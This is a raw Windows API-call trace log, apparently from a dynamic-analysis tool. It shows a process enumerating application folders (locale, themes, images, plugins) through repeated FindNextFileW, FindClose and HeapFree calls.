	[0186.605] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x330748d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x330748d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x330748d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0186.605] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.605] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0186.606] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.606] FindNextFileW (in: hFindFile=0x4142cd8, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x297ddff, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x297ddff, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x32baff3, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0186.606] FindClose (in: hFindFile=0x4142cd8 | out: hFindFile=0x4142cd8) returned 1
	[0186.606] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0186.606] FindNextFileW (in: hFindFile=0x4142e18, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x332d73b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nls", cAlternateFileName="")) returned 0
	[0186.606] FindClose (in: hFindFile=0x4142e18 | out: hFindFile=0x4142e18) returned 1
	[0186.606] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.606] FindNextFileW (in: hFindFile=0x4142998, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2957bb1, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x2957bb1, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x2957bb1, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0186.606] FindClose (in: hFindFile=0x4142998 | out: hFindFile=0x4142998) returned 1
	[0186.606] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f00050 | out: hHeap=0x710000) returned 1
	[0186.609] FindNextFileW (in: hFindFile=0x4142e58, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="generic-rhp-app", cAlternateFileName="GENERI~1")) returned 1
	[0186.609] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.609] FindNextFileW (in: hFindFile=0x4142b98, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0186.651] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40d1040 | out: hHeap=0x710000) returned 1
	[0186.651] FindNextFileW (in: hFindFile=0x4142a58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0186.651] FindClose (in: hFindFile=0x4142a58 | out: hFindFile=0x4142a58) returned 1
	[0186.651] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0186.651] FindNextFileW (in: hFindFile=0x4142d98, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0186.651] FindClose (in: hFindFile=0x4142d98 | out: hFindFile=0x4142d98) returned 1
	[0186.651] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.651] FindNextFileW (in: hFindFile=0x4142b98, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0186.744] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.744] FindNextFileW (in: hFindFile=0x4142a58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0186.745] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.745] FindNextFileW (in: hFindFile=0x4142a58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0186.746] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.746] FindNextFileW (in: hFindFile=0x4142a58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0186.746] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.746] FindNextFileW (in: hFindFile=0x4142a58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0186.748] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.748] FindNextFileW (in: hFindFile=0x4142a58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0186.751] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.751] FindNextFileW (in: hFindFile=0x4142a58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0186.752] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.752] FindNextFileW (in: hFindFile=0x4142a58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0186.752] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.752] FindNextFileW (in: hFindFile=0x4142a58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0186.752] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.752] FindNextFileW (in: hFindFile=0x4142a58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0186.753] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.753] FindNextFileW (in: hFindFile=0x4142a58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0186.753] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.753] FindNextFileW (in: hFindFile=0x4142a58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0186.756] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.756] FindNextFileW (in: hFindFile=0x4142a58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0186.757] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.757] FindNextFileW (in: hFindFile=0x4142a58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0186.757] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0186.757] FindNextFileW (in: hFindFile=0x4142f98, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1
	[0186.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.758] FindNextFileW (in: hFindFile=0x4142a98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0
	[0186.758] FindClose (in: hFindFile=0x4142a98 | out: hFindFile=0x4142a98) returned 1
	[0186.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0186.758] FindNextFileW (in: hFindFile=0x4142f98, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0
	[0186.758] FindClose (in: hFindFile=0x4142f98 | out: hFindFile=0x4142f98) returned 1
	[0186.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.758] FindNextFileW (in: hFindFile=0x4142b98, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0
	[0186.758] FindClose (in: hFindFile=0x4142b98 | out: hFindFile=0x4142b98) returned 1
	[0186.758] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f00050 | out: hHeap=0x710000) returned 1
	[0186.758] FindNextFileW (in: hFindFile=0x4142e58, lpFindFileData=0x2fae69c | out: lpFindFileData=0x2fae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="home", cAlternateFileName="")) returned 1
	[0186.759] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.759] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1
	[0186.765] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.765] FindNextFileW (in: hFindFile=0x4142a58, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0
	[0186.765] FindClose (in: hFindFile=0x4142a58 | out: hFindFile=0x4142a58) returned 1
	[0186.765] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f22068 | out: hHeap=0x710000) returned 1
	[0186.765] FindNextFileW (in: hFindFile=0x41429d8, lpFindFileData=0x2fae1a4 | out: lpFindFileData=0x2fae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0
	[0186.765] FindClose (in: hFindFile=0x41429d8 | out: hFindFile=0x41429d8) returned 1
	[0186.765] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x787798 | out: hHeap=0x710000) returned 1
	[0186.765] FindNextFileW (in: hFindFile=0x4142fd8, lpFindFileData=0x2fae420 | out: lpFindFileData=0x2fae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0186.769] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.769] FindNextFileW (in: hFindFile=0x4142e98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1
	[0186.769] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.769] FindNextFileW (in: hFindFile=0x4142e98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0186.770] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.770] FindNextFileW (in: hFindFile=0x4142e98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0186.771] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.771] FindNextFileW (in: hFindFile=0x4142e98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0186.771] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.771] FindNextFileW (in: hFindFile=0x4142e98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0186.772] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.772] FindNextFileW (in: hFindFile=0x4142e98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1
	[0186.773] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
